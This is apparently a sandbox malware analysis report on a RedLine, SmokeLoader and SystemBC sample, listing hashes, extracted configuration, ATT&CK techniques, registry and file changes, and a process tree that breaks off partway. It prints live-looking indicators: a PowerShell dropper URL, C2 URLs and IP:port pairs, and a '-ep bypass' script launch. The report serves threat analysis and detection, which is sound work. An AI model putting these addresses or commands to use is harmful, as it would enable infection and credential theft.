redline | 3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6

Analysis

max time kernel
154s
max time network
157s
platform
windows10_x64
resource
win10-en-20211208
submitted
09-12-2021 13:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6.exe
Size

299KB
MD5

fcf6f428574b0d668a55d9210c939a39
SHA1

a4772666bb2c24b149f91a3d2fc5739dce489ac4
SHA256

3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6
SHA512

b8cdbc8d73a69b83ebf110067c7422a9e654ca53337f6a66c3ecaee8e06be5e63c998e1ad460809c82f1b396e799fcff07700b8597369a408ea654e5ab247db6

Score

10^/10

redline smokeloader systembc backdoor discovery infostealer persistence spyware stealer suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://rcacademy.at/upload/

http://e-lanpengeonline.com/upload/

http://vjcmvz.cn/upload/

http://galala.ru/upload/

http://witra.ru/upload/

rc4.i32

Extracted

Family

redline

195.133.47.114:38627

Extracted

Family

systembc

185.209.30.180:4001

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\50A8.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\50A8.exe	family_redline
behavioral1/memory/1004-144-0x0000000000E30000-0x0000000000E9C000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
trojan systembc
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

Processes:

powershell.exe

flow	pid	process
94	2148	powershell.exe
96	2148	powershell.exe
97	2148	powershell.exe
98	2148	powershell.exe
100	2148	powershell.exe
102	2148	powershell.exe
104	2148	powershell.exe
106	2148	powershell.exe
108	2148	powershell.exe

Downloads MZ/PE file
Executes dropped EXE 6 IoCs

Processes:

3A41.exe50A8.exe7C9B.exeAD61.exeAD61.exeFDC4.exe

pid process

2172 3A41.exe
3140 50A8.exe
1004 7C9B.exe
1332 AD61.exe
2192 AD61.exe
2300 FDC4.exe
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

pid	process
2172	3A41.exe
3140	50A8.exe
1004	7C9B.exe
1332	AD61.exe
2192	AD61.exe
2300	FDC4.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Deletes itself 1 IoCs

Processes:

pid process

2984
Loads dropped DLL 2 IoCs

Processes:

pid process

3268
3268
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

7C9B.exe

pid process

1004 7C9B.exe

pid	process
2984

pid	process
3268
3268

pid	process
1004	7C9B.exe

Drops file in Program Files directory 4 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe

Drops file in Windows directory 21 IoCs

Processes:

AD61.exepowershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\Tasks\wow64.job	AD61.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\Tasks\wow64.job	AD61.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6A76.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6A88.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_hhuttrxl.b3g.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6A65.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_xdba0uk1.gfo.ps1	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6A16.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6A87.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exeWMIC.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

608 reg.exe
Runs net.exe

pid	process
608	reg.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	96	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	97	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	98	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	100	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6.exe

pid	process
3208	3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6.exe
3208	3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6.exe
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2984
Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

628
628
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6.exe

pid process

3208 3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6.exe

pid	process
2984

pid	process
628
628

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

50A8.exe7C9B.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeDebugPrivilege	3140	50A8.exe
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeDebugPrivilege	1004	7C9B.exe
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeDebugPrivilege	3952	powershell.exe
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeIncreaseQuotaPrivilege	2000	powershell.exe
Token: SeSecurityPrivilege	2000	powershell.exe
Token: SeTakeOwnershipPrivilege	2000	powershell.exe
Token: SeLoadDriverPrivilege	2000	powershell.exe
Token: SeSystemProfilePrivilege	2000	powershell.exe
Token: SeSystemtimePrivilege	2000	powershell.exe
Token: SeProfSingleProcessPrivilege	2000	powershell.exe
Token: SeIncBasePriorityPrivilege	2000	powershell.exe
Token: SeCreatePagefilePrivilege	2000	powershell.exe
Token: SeBackupPrivilege	2000	powershell.exe
Token: SeRestorePrivilege	2000	powershell.exe
Token: SeShutdownPrivilege	2000	powershell.exe
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeSystemEnvironmentPrivilege	2000	powershell.exe
Token: SeRemoteShutdownPrivilege	2000	powershell.exe
Token: SeUndockPrivilege	2000	powershell.exe
Token: SeManageVolumePrivilege	2000	powershell.exe
Token: 33	2000	powershell.exe
Token: 34	2000	powershell.exe
Token: 35	2000	powershell.exe
Token: 36	2000	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeIncreaseQuotaPrivilege	2864	powershell.exe
Token: SeSecurityPrivilege	2864	powershell.exe
Token: SeTakeOwnershipPrivilege	2864	powershell.exe
Token: SeLoadDriverPrivilege	2864	powershell.exe
Token: SeSystemProfilePrivilege	2864	powershell.exe
Token: SeSystemtimePrivilege	2864	powershell.exe
Token: SeProfSingleProcessPrivilege	2864	powershell.exe
Token: SeIncBasePriorityPrivilege	2864	powershell.exe
Token: SeCreatePagefilePrivilege	2864	powershell.exe
Token: SeBackupPrivilege	2864	powershell.exe
Token: SeRestorePrivilege	2864	powershell.exe
Token: SeShutdownPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeSystemEnvironmentPrivilege	2864	powershell.exe
Token: SeRemoteShutdownPrivilege	2864	powershell.exe
Token: SeUndockPrivilege	2864	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

pid process

2984
2984
2984
2984
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

pid process

2984
2984

pid	process
2984
2984
2984
2984

pid	process
2984
2984

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

FDC4.exepowershell.execsc.execsc.exenet.execmd.execmd.exenet.execmd.execmd.exenet.execmd.exenet.execmd.exenet.exe

description	pid	process	target process
PID 2984 wrote to memory of 2172	2984		3A41.exe
PID 2984 wrote to memory of 2172	2984		3A41.exe
PID 2984 wrote to memory of 2172	2984		3A41.exe
PID 2984 wrote to memory of 3140	2984		50A8.exe
PID 2984 wrote to memory of 3140	2984		50A8.exe
PID 2984 wrote to memory of 3140	2984		50A8.exe
PID 2984 wrote to memory of 1004	2984		7C9B.exe
PID 2984 wrote to memory of 1004	2984		7C9B.exe
PID 2984 wrote to memory of 1004	2984		7C9B.exe
PID 2984 wrote to memory of 1332	2984		AD61.exe
PID 2984 wrote to memory of 1332	2984		AD61.exe
PID 2984 wrote to memory of 1332	2984		AD61.exe
PID 2984 wrote to memory of 2300	2984		FDC4.exe
PID 2984 wrote to memory of 2300	2984		FDC4.exe
PID 2300 wrote to memory of 3952	2300	FDC4.exe	powershell.exe
PID 2300 wrote to memory of 3952	2300	FDC4.exe	powershell.exe
PID 3952 wrote to memory of 3512	3952	powershell.exe	csc.exe
PID 3952 wrote to memory of 3512	3952	powershell.exe	csc.exe
PID 3512 wrote to memory of 3736	3512	csc.exe	cvtres.exe
PID 3512 wrote to memory of 3736	3512	csc.exe	cvtres.exe
PID 3952 wrote to memory of 748	3952	powershell.exe	csc.exe
PID 3952 wrote to memory of 748	3952	powershell.exe	csc.exe
PID 748 wrote to memory of 2360	748	csc.exe	cvtres.exe
PID 748 wrote to memory of 2360	748	csc.exe	cvtres.exe
PID 3952 wrote to memory of 2000	3952	powershell.exe	powershell.exe
PID 3952 wrote to memory of 2000	3952	powershell.exe	powershell.exe
PID 3952 wrote to memory of 2864	3952	powershell.exe	powershell.exe
PID 3952 wrote to memory of 2864	3952	powershell.exe	powershell.exe
PID 3952 wrote to memory of 3868	3952	powershell.exe	powershell.exe
PID 3952 wrote to memory of 3868	3952	powershell.exe	powershell.exe
PID 3952 wrote to memory of 2372	3952	powershell.exe	reg.exe
PID 3952 wrote to memory of 2372	3952	powershell.exe	reg.exe
PID 3952 wrote to memory of 608	3952	powershell.exe	reg.exe
PID 3952 wrote to memory of 608	3952	powershell.exe	reg.exe
PID 3952 wrote to memory of 1404	3952	powershell.exe	reg.exe
PID 3952 wrote to memory of 1404	3952	powershell.exe	reg.exe
PID 3952 wrote to memory of 2364	3952	powershell.exe	net.exe
PID 3952 wrote to memory of 2364	3952	powershell.exe	net.exe
PID 2364 wrote to memory of 2016	2364	net.exe	net1.exe
PID 2364 wrote to memory of 2016	2364	net.exe	net1.exe
PID 3952 wrote to memory of 1960	3952	powershell.exe	cmd.exe
PID 3952 wrote to memory of 1960	3952	powershell.exe	cmd.exe
PID 1960 wrote to memory of 1968	1960	cmd.exe	cmd.exe
PID 1960 wrote to memory of 1968	1960	cmd.exe	cmd.exe
PID 1968 wrote to memory of 3564	1968	cmd.exe	net.exe
PID 1968 wrote to memory of 3564	1968	cmd.exe	net.exe
PID 3564 wrote to memory of 3776	3564	net.exe	net1.exe
PID 3564 wrote to memory of 3776	3564	net.exe	net1.exe
PID 3952 wrote to memory of 1860	3952	powershell.exe	cmd.exe
PID 3952 wrote to memory of 1860	3952	powershell.exe	cmd.exe
PID 1860 wrote to memory of 944	1860	cmd.exe	cmd.exe
PID 1860 wrote to memory of 944	1860	cmd.exe	cmd.exe
PID 944 wrote to memory of 2476	944	cmd.exe	net.exe
PID 944 wrote to memory of 2476	944	cmd.exe	net.exe
PID 2476 wrote to memory of 2828	2476	net.exe	net1.exe
PID 2476 wrote to memory of 2828	2476	net.exe	net1.exe
PID 3512 wrote to memory of 4076	3512	cmd.exe	net.exe
PID 3512 wrote to memory of 4076	3512	cmd.exe	net.exe
PID 4076 wrote to memory of 2144	4076	net.exe	net1.exe
PID 4076 wrote to memory of 2144	4076	net.exe	net1.exe
PID 2568 wrote to memory of 60	2568	cmd.exe	net.exe
PID 2568 wrote to memory of 60	2568	cmd.exe	net.exe
PID 60 wrote to memory of 1436	60	net.exe	net1.exe
PID 60 wrote to memory of 1436	60	net.exe	net1.exe

C:\Users\Admin\AppData\Local\Temp\3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6.exe
"C:\Users\Admin\AppData\Local\Temp\3c0a0525e2b057dc02b86c83620bdb618c839791aaa8af51deea5c4fd88f3ec6.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3208

C:\Users\Admin\AppData\Local\Temp\3A41.exe
C:\Users\Admin\AppData\Local\Temp\3A41.exe
1⤵
- Executes dropped EXE
PID:2172

C:\Users\Admin\AppData\Local\Temp\50A8.exe
C:\Users\Admin\AppData\Local\Temp\50A8.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3140

C:\Users\Admin\AppData\Local\Temp\7C9B.exe
C:\Users\Admin\AppData\Local\Temp\7C9B.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1004

C:\Users\Admin\AppData\Local\Temp\AD61.exe
C:\Users\Admin\AppData\Local\Temp\AD61.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:1332

C:\Users\Admin\AppData\Local\Temp\AD61.exe
C:\Users\Admin\AppData\Local\Temp\AD61.exe start
1⤵
- Executes dropped EXE
PID:2192

C:\Users\Admin\AppData\Local\Temp\FDC4.exe
C:\Users\Admin\AppData\Local\Temp\FDC4.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jmuuisqw\jmuuisqw.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES16B7.tmp" "c:\Users\Admin\AppData\Local\Temp\jmuuisqw\CSC1E1A686DA8884EDFBF2E99DAFB24A3F7.TMP"
      4⤵
      PID:3736
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1imxykld\1imxykld.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:748
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
